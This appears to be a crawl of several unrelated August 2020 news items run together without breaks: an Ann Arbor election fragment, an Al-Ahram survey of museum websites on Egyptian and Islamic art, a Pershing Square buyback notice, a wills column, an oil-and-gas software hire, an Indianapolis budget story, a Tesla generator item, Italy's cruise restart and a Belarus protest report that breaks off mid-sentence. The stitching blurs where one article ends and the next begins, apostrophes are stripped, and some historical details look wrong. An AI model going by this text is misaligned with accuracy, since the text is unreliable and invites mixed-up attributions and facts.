candidates. KaRon Gaines filed to run as an independent for the 1st Ward seat in July, according to a Washtenaw County unofficial list of candidates for the November election. In November, the newly elected council members will again choose a mayor pro-tem to step into the mayors role until November 2022, when the term expires. City Council will appoint another mayor pro tem to serve the next two years. MORE FROM THE ANN ARBOR NEWS: New Michigan COVID-19 webpage shows which activities are prohibited where including schools Heres how Ann Arbors back to school plans differ by grade levels Frustrated Michigan football players want Big Ten to figure it out What resources do some of the worlds pre-eminent cultural institutions have to offer on Egypt and the Arab world during the Covid-19 pandemic, asks David Tresilian More and more museums and other institutions worldwide have been putting resources online for people to access during the Covid-19 coronavirus pandemic. At a time when it is advisable to leave the house as little as possible and then only for essential errands, these can constitute necessary reminders of the world outside, perhaps also stimulating a determination to visit or revisit at least some of the institutions concerned when the crisis is over. Some museums have added to existing offerings on their Websites, while others have designed virtual visits at a time when it is impossible to envisage physical ones. They suggest new ways of thinking about online offerings and go far beyond the basic information on opening hours that used to make up much of museum Websites even a decade or so ago. Improvements in technology and connection speeds have revolutionised peoples expectations of museum content on the Internet, and the present lockdowns have encouraged more and more people worldwide to explore it. And even if they cannot be entirely satisfactory substitutes for the experience of physically visiting a museum who can forget the excitement of standing just feet away from the golden mask of Tutankhamun? digital resources can be extensions of it. Under the circumstances of global lockdown, they can also be valuable educational tools and not only for children confined at home during school closures. Adults can find much to engage them during the lockdowns too. A Weekly survey of selected museum Websites on Egypt and the Arab world suggests that while some institutions have been reaching out further to existing audiences and finding new ways of engaging with new ones, others have been more conservative in the ways they are using their online presence. British Museum: One institution that has extensive online offerings, even to the extent of making its site a stand-alone destination almost independent of the physical museum, is the British Museum in London. A note on the Museums homepage tells visitors that its collection of 4.5 million objects can be explored online for free, but rather than follow this link perhaps the best way of going on a virtual tour is to do so gallery by gallery at https://www.britishmuseum.org/collection/galleries. This allows visitors to select the specific rooms or galleries they are interested in and then be taken directly to these locations. Anyone who has used Google Street View will be familiar with the technology, and the British Museum has cooperated with Google in its virtual tours. Ancient Egyptian sculpture is on the ground floor of the Museum in Room 2, presumably because of weight, while an overall presentation of its ancient Egyptian holdings, including an extensive collection of mummies, is on the first floor in Rooms 61 to 65. Entry to the British Museum is free, unlike some of the other museums surveyed, and perhaps this explains why almost all of the Museum can also be visited on line. The Museum has extensive collections from the ancient Middle East, including from ancient Assyria in modern-day Iraq thanks to the pioneering work of British archaeologist Henry Layard in the mid-19th century. This material, including the famous friezes from the Northwest Palace of Ashurnasirpal II (883859 BCE) at Nimrud and material from Nineveh, can be visited in Rooms 6 to 10. Less weighty items from the ancient Middle East can be visited in rooms upstairs in Room 52 (ancient Iran), 53 (ancient South Arabia), 54 (ancient Anatolia), 55 and 56 (ancient Mesopotamia), and 57 to 59 (the ancient Levant). Among the recently renovated rooms in the Museum are 42 and 43, which house the Islamic world collection. These rooms were redesigned and refurbished in 2018 in association with the Albukhary Foundation in Malaysia, and they provide a comprehensive presentation of material culture produced from the 7th century to the present day from West Africa to Southeast Asia, taking in important centres in the Arab world, Iran, South and Central Asia and Mughal India. In addition to offering a virtual tour, the Museum Website also contains information about the redesign of the two rooms and the origins of the collection. The British Museum Website scores highly for its inclusion of absorbing additional material. It highlights specific objects, such as a set of Mameluke ivory panels bearing the name of the sultan al-Malik al-Nasir Muhammad ibn Qalawun (r. 12931341 CE) (https://islamicworld.britishmuseum.org/collection/RRM10263/), while also providing details of their provenance (found/acquired, Egypt purchased from Rev. William John Loftie, 1880), something which some museums are sometimes loath to do. It provides video content that must come as a boon to those studying the collections. There is a fascinating short video on the 19th-century excavations carried out by Ernst Herzfeld and Friedrich Sarre at Samarra in Iraq, for example, showing their relation to objects now in the British Museum. The site contains other content on contemporary art practices in the Arab and Islamic world and on matters of training and conservation. There are videos made at the Jameel House of Traditional Arts in Cairo in partnership with the Prince's Foundation School of Traditional Arts, an initiative of the UK Prince of Wales, and the Cultural Development Fund in Egypt. One of these is on jewellery making, another on pottery, and another on glass-blowing at the Hassan Hodhod workshop in the Northern Cemetery in Cairo. Hassan Hodhods glass workshop is opposite the funerary complex of the Mameluke sultan al-Ashraf Qaytbay (which appears on Egypts LE1 note), and some Weekly readers will have memories of visiting it. The sultans funerary complex can be clearly seen in the background to the video. Louvre: Among the pages presenting the Musee du Louvre in Paris on the Museums Website is one that tells visitors about its 800-year history from royal fortress to public museum, taking visitors to a YouTube video showing the historical development of the site. The Louvres Website serves mostly as a source of information on the institution, with little of the rich content that distinguishes the British Museum site. Could it be that old habits die hard in the Louvres case? Starting its history as a fortress, the Louvre seems to have conceived of its Website in the same light. It gives little away of the richness of the Museums contents. With the exception of one temporary exhibition, it is not possible to take a virtual visit of the Louvre, meaning that it is impossible for visitors to the Museums Website to enjoy the kind of experience offered by the British Museum site. The presentation of the Louvres departments seems to have been done with professional audiences in mind, rather than with attention paid to the needs of many ordinary visitors. There is a lot of text, but few images. The Department of Near Eastern Antiquities (https://www.louvre.fr/en/departments/near-eastern-antiquities) highlights 182 objects from the Louvres collection, but the presentation is that of a traditional exhibition catalogue relocated onto the Web the site does not take advantage of the possibilities offered by digital presentation and the write-ups, with technical descriptions and scholarly bibliographies, seem to be directed mostly at professional audiences. Parents looking for ways of interesting their children in the Louvres collections are unlikely to find the resources they need which is an enormous pity, given their famous richness. The Department of Egyptian Antiquities (https://www.louvre.fr/en/departments/egyptian-antiquities/overview#tabs) similarly presents valuable information on the history of the collection and scholarly write-ups of 207 highlights. But the site offers few opportunities for visitors to interact with the objects, to see them in three-dimensional space, to rotate them, to walk around them, to watch video presentations of them, unlike on the British Museum site. More promising is the Department of Islamic Art, which in addition to a text explaining the Department and the presentation of highlights (70 this time), also has videos showing the building of the Departments galleries and decisions on exhibition design (https://www.louvre.fr/en/opening-new-department-islamic-art). Overall, the Louvres site exhibits extraordinary curatorial expertise, with an emphasis on the needs of professional and scholarly audiences. But there is little interaction with the general public. Metropolitan Museum of Art: Visiting the Metropolitan Museum of Art in New York some months ago for the first time in years, the present writer discovered that this institution, which used to be free, has now become rather expensive for out-of-state visitors. But the Website is still free to visit, and it also of course invites, rather than discourages, casual visits. Arriving at the Metropolitan Museums Website, visitors are drawn to the promising words whats on line in the manner of the British Museums desire to further relations with a digital public. But the Metropolitan Museum does not offer virtual visits, so visitors are not able to enjoy the objects in gallery space and have to be content instead with looking through photographs and reading write-ups. It has invested in additional digital content where star exhibits are concerned, however. Every visitor to the Metropolitan Museum will remember the Temple of Dendur, a Ptolemaic temple that once stood on the banks of the Nile south of Aswan and was given to the United States by the Egyptian government in 1965 in recognition of US contributions to the UNESCO International Safeguarding Campaign for the Monuments of Nubia that were threatened by the rising waters of Lake Nasser. This Temple now stands in its own dedicated wing of the Metropolitan Museum, and the Museums Website includes a video taking visitors around it (https://www.metmuseum.org/about-the-met/curatorial-departments/egyptian-art/temple-of-dendur-50/related-content) The Metropolitan Museum has added to its standard presentation of curatorial departments consisting of write-ups of the history of the collections and highlights from them by adding video content. The Islamic Arts Department, for example, redesigned in 2011, has archived video material recording past programming, including debates and lectures, along with more eye-catching material such as a video showing the dismantling of the Museums famous Damascus Room, a wood-paneled reception room from an 18th-century house in the Syrian capital Damascus, before its re-installation in the redesigned galleries (https://www.metmuseum.org/about-the-met/curatorial-departments/islamic-art/damascus-room). An additional feature of the site is the Heilbrunn Timeline of Art History, signaled as a resource for visitors on the institutions homepage and positioning the site as a whole towards the educational end of the spectrum. While the British Museum site is perhaps especially strong on the experiential and interactive opportunities that a digital presentation can offer, the Louvre is more soberly educational. Perhaps the Metropolitan Museum site comes out somewhere in between, with the Heilbrunn Timeline constituting a kind of online illustrated encyclopaedia of art-historical themes and periods. The Islamic Art section of the Timeline (https://www.metmuseum.org/toah/essays/#!?dept=Islamic-Art) contains 105 essays on everything from standard chronological categories (like Art of the Mameluke Period) to sometimes intriguingly obscure themes (like Fatimid Jewellery), all illustrated with objects taken from the Museums collections. It is signaled on the Metropolitan Museums homepage as an ongoing project and flagship resource containing over one thousand essays and counting. Berlin Museums: The Staatliche Museen zu Berlin-Stiftung Preuischer Kulturbesitz brings together the many museums on Berlins Museum Island in the German capital Berlin, one of the worlds pre-eminent cultural districts and soon to be crowned by the nearby Humboldt Forum housed in a reconstruction of the former palace of the Prussian Hohenzollern Dynasty. These museums include the Neues Museum, restored in 2011 by British architect David Chipperfield in work that drew admiring attention worldwide, the Pergamon Museum, and the Museum of Islamic Art. The Neues Museum houses the Staatliche Museens ancient Egyptian collections, while the Pergamon Museum hosts the Museum of Islamic Art, one of the worlds most important. Among the star exhibits at the Neues Museum, originally built in 1855 to host the Prussian Egyptian and papyrus collection, is a famous bust of the ancient Egyptian queen Nefertiti, along with material from the ancient Meroitic kingdom in Sudan and an extensive collection of ancient Egyptian papyrus. Visitors to its Website (https://www.smb.museum/en/museums-institutions/aegyptisches-museum-und-papyrussammlung/home.html) can opt for virtual tours of the Museum through the Google Arts and Culture App using the same technology as at the British Museum, including an online audience with Nefertiti in her room on the Museums first floor. There are other rewarding online exhibits, all available in English, including on the Cult of the Dead, Cat Content (on the ancient Egyptian cat goddess Bastet), and the monotheistic pharaoh Akhenaten (the Pharaoh Erased from History). There are invitations on the Museum site to follow news and access additional materials on Facebook, YouTube, and Instagram. The Pergamon Museum (https://www.smb.museum/en/museums-institutions/pergamonmuseum/home.html) is named after a massive reconstruction of the Pergamon Altar, a Hellenistic building from Anatolia that was shipped to Berlin in 1879. The south wing of the Museum hosts the Museum of Islamic Art, including a reconstruction of the Ishtar Gate and Processional Way at Babylon, today in southern Iraq, that was built in 575 BCE by order of king Nebuchadnezzar II. It was excavated in the early 20th century by German archaeologist Johann Koldewey, and it can be visited through the Pergamon Museum Website using the Google Arts and Culture App. The other main exhibit at the Pergamon Museum is a section of the facade of the Ummayad Mshatta Palace 30 km south of the Jordanian capital Amman. It dates to the reign of the Ummayad caliph Al-Walid II (r. 743-744 CE) and was excavated in 1840. The facade was a gift from Ottoman sultan Abdelhamid II to the German emperor Wilhelm II in 1903, and it can be visited online by following the link at https://artsandculture.google.com/partner/pergamonmuseum-staatliche-museen-zu-berlin. Overall, the material on the sites of the Staatliche Museen zu Berlin-Stiftung Preuischer Kulturbesitz is of exceptional quality and is available throughout in German and English. Hours of engaging activity are guaranteed for all. Online Egyptian masterpieces Many museums worldwide are closed during the Covid-19 coronavirus pandemic, but some of their Egyptian masterpieces can be enjoyed online. The Rosetta Stone: Part of a granite stela produced in 196 BCE, the Rosetta Stone bears a decree concerning the 13-year-old Egyptian king Ptolemy V Epiphanes in ancient Egyptian hieroglyphs, ancient Egyptian demotic, and ancient Greek. The translation of the decree into ancient Greek on the Stone allowed French scholar Jean-Francois Champollion to decipher ancient Egyptian hieroglyphs at the beginning of the 19th century. The Stone was discovered at Rosetta (Rashid) by troops belonging to the invading French army of Napoleon Bonaparte in 1799, and it was surrendered to the British government in 1801 after the French defeat and transferred to the British Museum. It can be viewed at https://www.britishmuseum.org/collection/object/Y_EA24 The Saint Louis Baptismal Basin (Baptistere de Saint Louis): This inlaid brass basin was made in Egypt under Mameluke rule between 1320 and 1340 CE, making it too late to have been brought to France by the French king Saint Louis XI after the 12th Crusade. This saw the defeat of the Crusaders at the Battle of Mansoura in 1250 CE at the hands of armies directed by Ayyubid Egypts only female ruler Shajar al-Durr. Today one of the masterpieces of the Department of Islamic Arts at the Louvre, the Basin was used to baptise French royal children from Louis XIII in 1601 onwards. It was last used in 1856, when Napoleon-Eugene, the son of French emperor Napoleon III, was baptised in it at the Cathedral of Notre Dame in Paris. It can be viewed at https://www.louvre.fr/oeuvre-notices/bassin-dit-baptistere-de-saint-louis Bust of Nefertiti: Now in the collections of the Staatliche Museen zu Berlin where it is on display at the magnificently restored Neues Museum, the painted bust of Nefertiti, wife of the ancient Egyptian pharaoh Akhenaten, is believed to have been made in 1345 BCE. It was discovered by a German team led by archaeologist Ludwig Borchardt in 1912. Together with the famous golden mask of the ancient Egyptian pharaoh Tutankhamun, the bust of Nefertiti is one of the best-known objects from ancient Egypt civilisation and can be viewed as part of a virtual visit at https://artsandculture.google.com/exhibit/an-audience-with-nefertiti/ZQKiSnxV4cRAIw?hl=en *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: Regulatory News: Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) ("PSH") today announced that it has purchased, through PSH's agent, Jefferies International Limited ("Jefferies"), the following number of PSH's Public Shares of no par value (ISIN Code: GG00BPFJTF46) (the "Shares"): Trading Venue: London Stock Exchange Ticker: PSH Date of Purchase: 11 August 2020 Number of Public Shares purchased: 26,803 Shares Highest Price Paid Per Share: 1,922 pence 25.17 USD Lowest Price Paid Per Share: 1,908 pence 24.99 USD Average Price Paid Per Share: 1,917 pence 25.10 USD Ticker: PSHD Date of Purchase: 11 August 2020 Number of Public Shares purchased: 13,881 Shares Highest Price Paid Per Share: 25.10 USD Lowest Price Paid Per Share: 25.00 USD Average Price Paid Per Share: 25.05 USD Trading Venue: Euronext Amsterdam Ticker: PSH Date of Purchase: 11 August 2020 Number of Public Shares purchased: 24,070 Shares Highest Price Paid Per Share: 25.20 USD Lowest Price Paid Per Share: 24.85 USD Average Price Paid Per Share: 25.11 USD PSH will hold these Public Shares in Treasury. The net asset value per Public Share related to this buyback is 36.12 USD 27.60 GBP which was calculated as of 31 July 2020 (the "Relevant NAV"). After giving effect to the above buyback, PSH has 193,842,058 Public Shares outstanding, or 199,816,954 Public Shares calculated on a fully diluted basis (assuming that all Management Shares had been converted into Public Shares at the Relevant NAV). Excluded from the shares outstanding are 17,114,692 Public Shares held in Treasury. The prices per Public Share were calculated by Jefferies. The number of PSH Management Shares and the one special voting share (held by PS Holdings Independent Voting Company Limited) have not been affected. About Pershing Square Holdings, Ltd. Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) is an investment holding company structured as a closed-ended fund that makes concentrated investments principally in North American companies. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005754/en/ Contacts: Camarco Ed Gascoigne-Pees Hazel Stevenson +44 020 3757 4989, media-pershingsquareholdings@camarco.co.uk Death. Nobody wants to talk about it. But in these days of COVID-19, theres no escape. Every day, newspapers and the television bombard us with the latest fatality statistics from the pandemic. About 9,000 dead in Canada. More than 150,000 in the U.S., with the total increasing by more than 1,000 each day. Worldwide, more than 18 million cases with about 700,000 lives lost. The elderly are the most vulnerable to succumb to the virus. But an alarming number of people under 50 are becoming ill more than half the total according to recent numbers and the longer-term consequences for them are unknown. One German study published by JAMA Cardiology examined the hearts of 100 recovered COVID-19 patients that were otherwise young and healthy when infected. The study found that 78 per cent of patients showed structural changes to their hearts and had signs of cardiac injury two months after recovering. Now heres another statistic, which brings me to the point of this column: 56 per cent of Canadian adults do not have a will. Thats a worrisome number at any time but its especially troublesome when COVID-19 has claimed thousands of lives in this country. Its not hard to understand why many younger people havent made a will. Theyre healthy and expect to live a long time. Death is not something most 20-year-olds contemplate. Its more difficult to comprehend why older people keep putting it off. They know its something they should do to protect their families, but somehow there are always more pressing priorities. Most people find it hard to engage in (or even start) activities that are uncomfortable to think about, seem complicated, dont feel urgent, or will take a lot of time and money. Traditional estate planning checks all of these boxes, so its no wonder lots of people put it off, says Arin Klug, chief operating officer and co-founder of Epilogue, an online will preparation site. Its time for a change in thinking. COVID-19 has brought the issue of wills to the forefront. Every adult should have one, most especially those with dependants. Here are some of the key points you should know: What to include. The main purpose of a will is to make sure your financial assets, property, and personal possessions are distributed according to your wishes. That may be to family members, friends, charities, or anyone else you want to inherit. Make your wishes crystal clear so there are no disputes when youre gone. You also need to name an executor. This is the person charged with the legal responsibility of ensuring the terms of the will are carried out, creditors are paid, a final tax return is submitted, and more. Depending on the estate, it can be a big job. Some people appoint two executors, often a family member and a lawyer. Professional executors will charge a fee for their services. What happens if you die without a will? The legal term is intestate. It means that since you have not expressed your wishes, the government and the legal system decide who gets what. There are a lot of people that are reluctant to make a will because they simply believe they dont need one, says Daniel Goldgut, Epilogues chief executive officer and co-founder. There are a lot of reasons people provide too young, not enough assets, etc. but most of these reasons are rooted in some misunderstanding of what happens if you die without a will. Usually, when people hear about the negative consequences of not having a will, they are much more inclined to get it done. Laws vary from province to province. In Ontario, the Succession Law Reform Act sets out how the estate is distributed if there is no will. According to the Act, unless someone who is financially dependent on the deceased person makes a claim, the first $200,000 is given to the spouse. Anything over $200,000 is shared between the spouse and the descendants (e.g. children, grandchildren) according to specific rules. You can read more details at the website of the Ontario Attorney-General. In most cases, you dont need a lawyer. You can write your own will or use an online service offered by companies like Epilogue. You can even find a basic will form available at no cost at lawdepot.ca. However, if you have a complex estate, family dynamics that need to be handled in a very particular way, or want to engage in sophisticated tax planning, hiring a competent estate lawyer is advisable, says Mr. Klug. COVID-19 has really changed peoples perspective on estate planning, Mr. Klug concludes. All of us now see how life as we know it can change suddenly, in very drastic ways. While it is just as important as ever to take care of some basic estate planning, the difficult conversations around this topic have become more normalized. Stephen Anson, W Energy Software's New Director of Measurement Im excited to join the W Energy Software management team and eager to get to work spearheading a new generation of software to track, validate, balance, and report hydrocarbons across the value chain, built by a measurement user for measurement users W Energy Software, the new leader in upstream and midstream oil & gas ERP solutions, announces the appointment of Stephen Anson as its new Director of Measurement. Stephen joins the company with over twenty years of measurement experience. He will be responsible for building next generation solutions for collecting, validating, balancing, and reporting liquids and natural gas measurement data. This news comes amidst a recent announcement that W Energy Software has gained 40% market share for natural gas processing and is experiencing accelerated growth across other midstream and upstream markets where WE Measure, the companys recently announced measurement product line, is expected to play a strategic role in the companys next stage of growth. Stephen brings a vast amount of experience across both gas and liquids measurement to the W Energy Software team ranging from field maintenance activities, equipment design, and back office measurement data management. He held various engineering, management, and marketing roles for E&P companies, midstream companies, and manufacturers; always focused on measurement. Throughout his career Stephen has been committed to measurement excellence, business strategy, innovation, and data analytics. His innovative thought leadership and creativity have contributed to the development of new industry standards, alternative methods for custody transfer, and patent recognition. Stephen is a past president of the Rocky Mountain Measurement Society, an instructor and General Committee member for the International School of Hydrocarbon Measurement (ISHM), and a member of multiple committees for the American Petroleum Institute (API). Im excited to join the W Energy Software management team and eager to get to work spearheading a new generation of software to track, validate, balance, and report hydrocarbons across the value chain, built by a measurement user for measurement users, said Stephen Anson, W Energy Softwares new Director of Measurement. Historically there has only been one option for measurement data management; this created an opportunity to serve the industry by providing a choice that is innovative and impactful, which is why we are setting out to redefine measurement data management with a new generation platform built on the cloud that is fast, accurate, and reliable, he said, adding, I look forward to forging a strong relationship with our Measurement Product Consortium members to ensure that industry needs are represented and continuously aligned with product features. WE Measure will provide upstream and midstream companies with a secure data warehouse for centrally managing volume, energy, and product quality measurement data in the cloud, integrating large numbers of SCADA data sources, and streamlining meter data analysis. The next generation solution will also provide processes and functionality to validate measurement data, provide material balances, deliver clear audit trails, and ensure compliance with energy industry, regulatory, and accounting standards. To aid its mission to create the next generation, best-in-class solution, W Energy Software has also announced the creation of a Measurement Product Consortium comprised of industry leaders who will provide direct input into product development while offering participating energy companies product discounts. Stephen will lead W Energy Softwares measurement product line - including building the product roadmap and managing day to day development - which is expected to be commercially available by the end of 2021. In addition to these responsibilities, he will also coordinate W Energy Softwares Measurement Product Consortium that has already attracted the interest of several large upstream and midstream companies. Interested energy companies are encouraged to contact W Energy Software to join. A warm welcome to Stephen, who joins the W Energy Software management team at an exciting time of growth in markets that demand next generation measurement solutions, said Pete Waldroop, CEO of W Energy Software. From upstream to midstream, measurement cuts across everything we and our clients do, which is why launching WE Measure helmed by a veteran measurement professional is so crucial for delivering the high-quality solutions our clients deserve, Waldroop stated. About W Energy Software Headquartered in Tulsa, Oklahoma, W Energy Software offers the oil & gas industrys only unified ERP solution built for the cloud that is relied on by more than 100 upstream and midstream companies to accelerate business performance, improve operational efficiency, and drive costs down. W Energy Software combines precision-built software in one extendable cloud-based workspace with an intimate understanding of the oil & gas business to deliver solutions that offer flexibility, affordability, and continuous upgrades. Unlike other ERP software that loosely ties together a mix of legacy solutions and fragmented technologies, W Energy Software designed a unified upstream and midstream ERP platform to seamlessly track oil, gas, and NGLs from the wellhead through transportation and marketing, eliminating data silos as well as the burden and costs of maintaining multiple systems. With W Energy Software, oil & gas companies stay lean and agile with the tools they need to adapt to market changes and meet evolving customer needs head on, all while gaining the confidence that their business is running on the latest technology. For more information, please visit https://WEnergySoftware.com. Mayor Joe Hogsetts proposed 2021 budget includes a little more than $261 million for Indianapolis Metropolitan Police Department $7 million more than in 2020. At 29% of the city budget, IMPD would represent the largest share of money among city departments. There has never been indication from the top levels of city government that IMPD would face any kind of budget cutbacks, which has been one of the more popular demands adopted by protesters in Indianapolis following the police shootings of 21-year-old Dreasjon Reed and 19-year-old McHale Rose. Calls to defund the police vary in the details, but most boil down to the notion that police department budgets are bloated and that money all of it or some of it, depending on who you ask should instead be used to fund other social services and programs. Under Hogsetts budget which he introduced to the city-county council Aug. 10, along with his state of the city address IMPD would make up about 21% of the entire city-county budget. IMPD currently accounts for 31% and 22% of the city and consolidated city-county budgets. Part of the proposed increase for IMPD is to pay for the 1,100 body cameras the department recently began rolling out and 200 new cruisers. The city-county council will spend the next couple of months deliberating Hogsetts proposed budget in committee meetings, with a plan to adopt a 2021 budget at the Oct. 12 meeting. Other highlights of Hogsetts proposed budget: The 2021 budget totals about $1.3 billion, most of which is allotted to city departments. The Marion County Sheriffs Office would make up the largest share of county agencies at 36%. There are no tax increases. Public safety and criminal justice make up 58% of the budget, which includes $3 million for Violent Crime Prevention Grants and $250,000 for tenants rights programs. The budget estimates a $15 million increase in property taxes, which makes up 30% of projected revenue. The budget estimates a $24 million decrease in income tax, though, because of high unemployment due to the COVID-19 pandemic. Because of the process for collecting property and income taxes, the city wont feel the effects of the pandemic in revenue until 2022. Contact staff writer Tyler Fenwick at 317-762-7853. Follow him on Twitter @Ty_Fenwick. Mayor Joe Hogsett gives his virtual state of the city address and introduces his 2021 budget proposal to the city-county council Aug. 10. Apparently, you can hack a Tesla to use fuel - in a way - and there's a video to prove it. So, Tesla's USP is that it makes electric cars, right? Well, jugaad is definitely not just an Indian concept but belongs to all of mankind. A video of a Tesla owner using a Honda gasoline generator to charge his car was shared by Indian business tycoon Mr Anand Mahindra, on Twitter. Chairman of the Mahindra Group, Mr Mahindra is known to share things that catch his attention with the rest of us and this one's something nobody has ever seen before. He captioned the video with, 'And we thought jugaad was purely an Indian talent! Hilarious. A Honda-powered Tesla...' And we thought jugaad was purely an Indian talent! Hilarious. A Honda powered Tesla... pic.twitter.com/SHlLSuiS1n anand mahindra (@anandmahindra) August 9, 2020 In the video, the person recording can be seen making conversation with another man whose Tesla car has apparently run out of charge. However, what is interesting here is that the man has a fuel canister in his hand and the person behind the camera wants to know how will he 'charge' his electric car with gas. The man then goes on to show him a Honda gasoline-powdered generator. His innovative trick is to put the gasoline in the generator and then charge the car using it. Genius, right? Also read: German Man Accidentally Places Order For 28 Tesla Cars Due To A Website Glitch Twitter The car owner explains the whole process and the other people around are completely amazed by his 'jugaad'. This was the first time they were seeing an electric Tesla car being charged by a Honda gasoline-powered generator in their lives. Also read: Tesla Motors Starts Its Own Car Wrap Service For New Colours Twitter We wonder what Elon Musk has to say about this! Share this article Whatsapp Facebook Twitter Linkedin Alexandria Sage (Agence France-Presse) Rome Tue, August 11, 2020 16:01 526 6657ac82168da9fa101c8a4066d26025 2 News Italy,cruise-ship,tourism,travel Free Italy's cruise industry is preparing to sail again in Mediterranean waters, hoping to help jumpstart the country's economy while restoring the reputation of the beleaguered global sector. MSC Cruises, a privately owned company based in Geneva, will resume operations with two departures from Italy this month, it said at the weekend. It becomes the first global operator to announce cruises for the lucrative Mediterranean market after the coronavirus pandemic froze cruises throughout the world. The MSC Grandiosa and MSC Magnifica are to set sail on August 16 and 29 from Genoa and Bari, respectively, to sites in Italy, Malta and Greece in a high-stakes gamble for the industry that Italian Prime Minister Giuseppe Conte has called a "fundamental part of our economy". Italy's 14.5 billion euro ($17 billion) cruise industry -- Europe's largest -- is a key economic driver that supports nearly 53,000 jobs, according to the Cruise Lines International Association (CLIA). A Europe-wide suspension of cruises through August could result in a total economic loss of about 25.5 billion euros, CLIA has calculated. Italy approved the restart of its cruise industry from August 15 as part of efforts to revive a moribund economy devastated by a more than two-month quarantine, with cruise operations suspended in March. "After months of lockdown... people obviously want to return to travelling, visiting places," MSC spokesman Michele Curatolo told AFP on Monday. MSC was receiving "lots of calls" for the trips, although the ships will sail at about 70 percent of normal passenger capacity, he said, adding that the reduction "seems sufficient" to meet demand. The Costa Crociere Group, MSC's giant rival owned by Carnival, has yet to confirm whether it will go ahead with cruises for August 15 and 16 advertised on its website. Read also: French passengers sue Costa Cruises over virus ship ordeal 'Greater risk' The industry's reputation suffered a hit with dozens of deaths and thousands of infections aboard cruise ships. Global health authorities criticised its slow response to the spread of the virus, from lax monitoring of crew, to continued operation of self-service buffets and gyms, to lack of personal protective equipment. At the start of the coronavirus pandemic, various cruise ships were stranded at sea around the world from Japan to California as nations, including Italy, blocked them from their ports. As of June 11, 3,047 people were infected and 73 people died aboard 48 CLIA cruise ships, according to Johns Hopkins University data provided by CLIA. The risk persists, according to the US Centers for Disease Control, which on July 16 extended a no-sail order in US waters until September 30. "The current scientific evidence suggests that cruise ships pose a greater risk of COVID-19 transmission than other settings," the CDC said. Close living and working spaces for crew and partially enclosed environments were obstacles to social distancing, it said in its July order. False restart Norway's Hurtigruten was the first international passenger cruise operator to restart operations in June, only to suspend its service and apologise after at least 40 passengers tested positive for COVID-19. Local authorities worry that disembarked passengers may have spread the virus to towns along the western Norwegian coast. Meanwhile Costa's website advertises cruises from Savona and Venice on August 15 and 16, as well as other August cruises from other ports in Italy. MSC has suspended the rest of its Mediterranean, Caribbean, Asian and north European cruises until late October. The company said its security protocol exceeds national and industry standards. At the terminal, passengers and crew will take a COVID-19 blood test before boarding and temperatures will be taken daily. For excursions, passengers will be escorted in controlled groups to avoid interactions with others. Food from the buffet, a highlight of the cruise experience, will be served at passengers' tables, while social distancing will increase, among other measures. CLIA Europe spokesman Martyn Griffiths said the industry was now in a "different operating environment" from earlier this year when it was hit with the unprecedented crisis. Gradual restarts, he said, allow crews to get used to new protocols, while passengers now better understand the risk of coronavirus in their daily lives and do not consider cruises more dangerous. "It's peak summer holiday time now, people love cruising," he said. Detentions Reported Ahead Of Renewed Protests Against Belarusian Election Result By RFE/RL August 10, 2020 MINSK -- Police in the Belarusian capital have reportedly detained protesters ahead of continued demonstrations against official election results declaring Dozens of protesters were reportedly detained in Minsk on Augusts 10 ahead of demonstrations that were expected to resume following violent clashes between protesters and police the night before. The detentions took place in the city center, where a heavy police presence was reported. On August 9, some 1,000 people were detained in Minsk, and about 3,000 nationwide, after demonstrators took to the streets to protest what they called a rigged election after an exit poll showed Lukashenka winning with more than 80 percent of the vote. Supporters of leading opposition candidate Svyatlana Tsikhanouskaya, who had less than 10 percent of the vote according to preliminary official results announced by the Central Election Commission (TsVK), had announced that they would stage a mass demonstration against the official tally on August 10. The opposition in Belarus also has called for a nationwide protest strike starting at noon (local time) on August 11. Britain has called on Belarus to refrain from further violence against protesters following what it called the "seriously flawed" vote, while France has urged security forces to exhibit "the greatest restraint." Tsikhanouskaya -- who has rejected the results giving Lukashenka his sixth term in office and says the vote was rigged -- was not planning on taking part in the demonstrations "to avoid provocations," according to her campaign team. Tsikhanouskaya, who said in Minsk on August 10 that "I consider myself the winner in the presidential election," explained that her opinion was based on what she called "real protocols" collected at the majority of polling stations which, according to her, prove that she won. The TsVK's announcement on August 10 came after a night of violent clashes between police and thousands of protesters who say exit polls and official figures released by the election commission are fraudulent. The Interior Ministry has meanwhile denied reports by a human rights group that at least one demonstrator was killed in the midst of overnight clashes in Minsk as police used stun grenades, rubber bullets, and tear gas to disperse demonstrators. The Vyasna Human Rights Center in Minsk said the young male protester died from a traumatic head injury after he was hit by a police vehicle and medics were unable to save him. Vyasna did not identify the man that it said had died. But it said there were also dozens of protesters injured in clashes with police. Vyasna activist Valyantsin Stefanovich blamed the alleged death on the actions of the Interior Ministry and the Security Council. When asked by RFE/RL to comment on Vyasna's report, Interior Ministry spokeswoman Volha Chamadanava said, "We do not have any fatal casualties." Meanwhile, the opposition Nexta-Live Telegram channel in Belarus erroneously reported that a protester named Yauhen Zaichkin had been killed in a confrontation with police overnight. Nexta-Live did not attribute its report and did not mention Vyasna. But media in Russia later linked the two reports together with a photograph of Zaichkin -- unconscious on the ground and surrounded by police -- suggesting Zaichkin might have been the individual Vyasna was referring to. That photograph went viral after the Russia reports were recirculated by other media in Ukraine and Russia. Tsikhanouskaya noted on August 10 that there were conflicting reports about the death of a protester overnight. She said that if a protester had been killed, it would mark "the beginning of the end" for Lukashenka's government. RFE/RL's Belarus Service tracked down Zaichkin on August 10. He said that he survived a severe beating by police in circumstances different from the situation Vsayna had described. Zaichkin said he'd lost consciousness from the beating while he was being transported in a police vehicle. He said the photograph was taken after police removed him from the vehicle to await an ambulance. In later remarks to journalists on August 10, Chamadanava described Vyasna's report about a man's death as "fake." "Nobody died [during the violence]! We would like to emphasize that the information carried by some websites is absolutely fake," she said. "In all, about 3,000 people were detained across the country, including about 1,000 people detained in Minsk," Chamadanava said. "More than 50 civilians and 39 law enforcement officers were injured during the clashes, some of whom are currently in hospitals." "Some of the people brought to medical institutions across the country were under the influence of alcohol," she said. "It is necessary to stress that no combat weapons were used against the offenders." Meanwhile, the head of the Belarusian Investigative Committee, Ivan Naskevich, said on August 10 that criminal cases have been launched into "mass disorders" and "attacks on law enforcement." For his part, Lukashenka on August 10 described the protesters as "sheep" who are led by foreign countries by telephone. "There were phone calls from Poland, Great Britain, and the Czech Republic, to manage our, sorry for my language, sheep," Lukashenka said during a meeting with the chairman of the executive committee of the Commonwealth of Independent States, Sergei Lebedev. "They do not understand 